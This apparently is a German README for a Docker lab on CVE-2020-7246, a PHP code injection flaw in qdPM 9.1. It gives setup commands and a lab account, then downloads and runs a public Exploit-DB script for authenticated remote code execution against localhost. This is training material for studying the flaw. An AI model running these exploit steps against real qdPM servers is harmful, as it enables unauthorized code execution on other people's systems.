
Laborumgebung und Exploit-Skript für CVE-2020-7246, eine PHP-Code-Injection-Schwachstelle in qdPM 9.1. Beinhaltet Docker-Setup und Python2-basierte Ausnutzung für authentifizierte Remote-Codeausführung.
Einrichtung des Labors: a) git clone https://github.com/pswalia2u/CVE-2020-7246.git b) cd CVE-2020-7246 && docker build -t cve-assignment:ine . && docker run -it -p 80:80 cve-assignment:ine c) Der Webserver sollte unter http://127.0.0.1/index.php erreichbar sein d) Vorkonfiguriertes Konto: email: [email protected] password: developer_1
Ausnutzung:
Verwendung des alten Python2-Exploits https://www.exploit-db.com/exploits/47954 a) curl https://www.exploit-db.com/raw/47954 > exploit.py
b) Hinzufügen von "# -- coding: utf-8 --" am Anfang des Exploit-Skripts sed -i '1s/^/# -- coding: utf-8 --\n/' exploit.py
c) Installation von python2 und Abhängigkeiten apt install python2 -y && curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py && python2 get-pip.py && pip2 install requests lxml
d) Exploit ausführen python2 exploit.py -url http://127.0.0.1/ -u <user_email> -p python2 exploit.py -url http://127.0.0.1/ -u [email protected] -p developer_1